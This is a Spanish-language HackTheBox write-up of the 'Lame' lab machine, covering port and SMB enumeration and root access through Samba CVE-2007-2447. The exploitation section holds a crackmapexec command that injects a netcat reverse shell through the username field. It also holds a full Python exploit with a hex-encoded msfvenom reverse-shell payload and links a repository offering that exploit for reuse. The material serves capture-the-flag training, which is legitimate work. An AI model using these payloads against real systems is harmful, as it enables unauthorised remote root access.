---
title: 'Lame Write Up [OSCP-Style]'
disqus: HackTheBox
---
Lame WRITE UP [OSCP-Style]
===
Hecho por @xlcc4096 y @CapitanJ4ck21
## Indice
[TOC]
> Lame es una máquina de HackTheBox la cual tiene una un servicio Samba 3.0.20 instalado el cual es vulnerable a `CVE-2007-2447` y conseguimos acceso al usuario root aprovechandonos de esta a través de un exploit hecho por nosotros.
## Enumeración
### Escaneo de puertos
Empezamos escaneando todo el rango de puertos TCP de la máquina.
```bash=
nmap -p- --min-rate 5000 --open -Pn 10.10.10.3
````
```
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-06 18:54 CET
Nmap scan report for 10.10.10.3
Host is up (0.034s latency).
Not shown: 65530 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3632/tcp open distccd
```
Recogemos los puertos abiertos y le hacemos un escaneo a estos mas a fondo a través de un escaneo de servicios y especificamos también que pase scripts de enumeración por defecto en cada puerto.
```bash=
nmap -p 21,22,139,445 -sV -sC -oN scan/target -Pn 10.10.10.3
```
```
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.15
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 2h30m38s, deviation: 3h32m08s, median: 37s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2020-12-06T10:50:18-05:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
```
### Puerto FTP - 21 / TCP
Como buena práctica es bueno probar de loguearnos con el usuario anonymous. Ya que a veces `nmap` no lo detecta. Nos logeamos como usuario Anonymous y vemos que no hay nada disponible en el servidor FTP.
```bash=
ftp 10.10.10.3
```
```
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:capi): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> binary
200 Switching to Binary mode.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> pwd
257 "/"
ftp> exit
221 Goodbye.
```
### Puerto Samba - 139, 445 / TPC
Lo siguiente que vamos a enumerar es el servicio SMB.
Para enumerar este puerto, les comparto una pequeña lista para poder listar los directorios.
```
cme smb <ip> -u '' -p '' --shares
smbmap -H <ip>
nmap --script smb-enum-shares -p 139,445 <ip>
echo exit | smbclient -L \\\\<ip>
```
Enumeramos con crackmapexec, y sacamos que la versión del Samba es 3.0.20.
```bash=
cme smb 10.10.10.3 -u '' -p '' --shares
```
```python=
SMB 10.10.10.3 445 LAME [*] Unix (name:LAME) (domain:hackthebox.gr) (signing:False) (SMBv1:True)
SMB 10.10.10.3 445 LAME [+] hackthebox.gr\:
SMB 10.10.10.3 445 LAME [+] Enumerated shares
SMB 10.10.10.3 445 LAME Share Permissions Remark
SMB 10.10.10.3 445 LAME ----- ----------- ------
SMB 10.10.10.3 445 LAME print$ Printer Drivers
SMB 10.10.10.3 445 LAME tmp READ,WRITE oh noes!
SMB 10.10.10.3 445 LAME opt
SMB 10.10.10.3 445 LAME IPC$ IPC Service (lame server (Samba 3.0.20-Debian))
SMB 10.10.10.3 445 LAME ADMIN$ IPC Service (lame server (Samba 3.0.20-Debian))
```
Enumeramos el servicio con `smbmap` también y nos devuelve que la versión es la misma que habiamos recogido antes.
```bash=
smbmap -H 10.10.10.3 -R
```
```
[+] IP: 10.10.10.3:445 Name: 10.10.10.3
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
tmp READ, WRITE oh noes!
.\tmp\*
dr--r--r-- 0 Sun Dec 6 20:23:59 2020 .
dw--w--w-- 0 Sat Oct 31 08:33:57 2020 ..
dw--w--w-- 0 Sun Dec 6 12:25:30 2020 orbit-makis
dr--r--r-- 0 Sun Dec 6 07:15:21 2020 .ICE-unix
dw--w--w-- 0 Sun Dec 6 07:15:54 2020 vmware-root
dr--r--r-- 0 Sun Dec 6 07:15:48 2020 .X11-unix
dw--w--w-- 0 Sun Dec 6 12:25:30 2020 gconfd-makis
fr--r--r-- 0 Sun Dec 6 18:00:36 2020 vtrm
fw--w--w-- 11 Sun Dec 6 07:15:48 2020 .X0-lock
fw--w--w-- 0 Sun Dec 6 07:16:26 2020 5544.jsvc_up
fw--w--w-- 1600 Sun Dec 6 07:15:19 2020 vgauthsvclog.txt.0
.\tmp\.X11-unix\*
dr--r--r-- 0 Sun Dec 6 07:15:48 2020 .
dr--r--r-- 0 Sun Dec 6 20:23:59 2020 ..
fr--r--r-- 0 Sun Dec 6 07:15:48 2020 X0
opt NO ACCESS
IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
```
## Explotación
Gracias a la anterior enumeración encontramos que es vulnerable a `CVE-2007-2447` asi que vamos a explotarlo de diferentes formas.
### Samba - CVE-2007-2447
La primera forma de la que vamos a explotar esta vulnerabilidad es con crackmapexec:
```bash=
cme smb 10.10.10.3 -u '/=`nohup rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.15 53 >/tmp/f`' -p ''
```
De la segunda forma que vamos que explotar es creando un exploit para aprovecharnos de esta vulnerabilidad.
Hemos subido el exploit a github para que podais utilizarlo.
https://github.com/xlcc4096/exploit-CVE-2007-2447
```python=
#!/usr/bin/python3
# Usage: python3 exploit-CVE-2007-2447.py <HOST> <PORT>
# Made by @xlcc @J4ck21
from smb.SMBConnection import SMBConnection
import sys
# msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.3 LPORT=31337 -f python
buf = b""
buf += b"\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x64"
buf += b"\x78\x63\x78\x70\x79\x77\x3b\x20\x6e\x63\x20\x31\x30"
buf += b"\x2e\x31\x30\x2e\x31\x34\x2e\x33\x20\x33\x31\x33\x33"
buf += b"\x37\x20\x30\x3c\x2f\x74\x6d\x70\x2f\x64\x78\x63\x78"
buf += b"\x70\x79\x77\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68"
buf += b"\x20\x3e\x2f\x74\x6d\x70\x2f\x64\x78\x63\x78\x70\x79"
buf += b"\x77\x20\x32\x3e\x26\x31\x3b\x20\x72\x6d\x20\x2f\x74"
buf += b"\x6d\x70\x2f\x64\x78\x63\x78\x70\x79\x77"
server_ip=sys.argv[1]
port=int(sys.argv[2])
user="/=`nohup " + buf.decode() + "`"
password=""
client_machine_name=""
server_name=""
domain_name=""
conn = SMBConnection(user, password, client_machine_name, server_name, domain=domain_name, use_ntlm_v2=True, is_direct_tcp=True)
conn.connect(server_ip,port)
```
https://amriunix.com/post/cve-2007-2447-samba-usermap-script/
Ejecutamos el script de la siguiente manera:
```bash=
python3 exploit-CVE-2007-2447.py 10.10.10.3 445
```
Ponemos a la escucha el puerto 31337 con netcat:
NOTA: Tu tendras que poner a la escucha el puerto que hayas especificado a la hora de generar el payload.
```bash=
nc -lnvp 31337
listening on [any] 31337 ...
```
Ejecutamos el script y ya somos root :)
```
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.3] 50277
id
uid=0(root) gid=0(root) groups=0(root)
wc -c /root/root.txt
33 /root/root.txt
```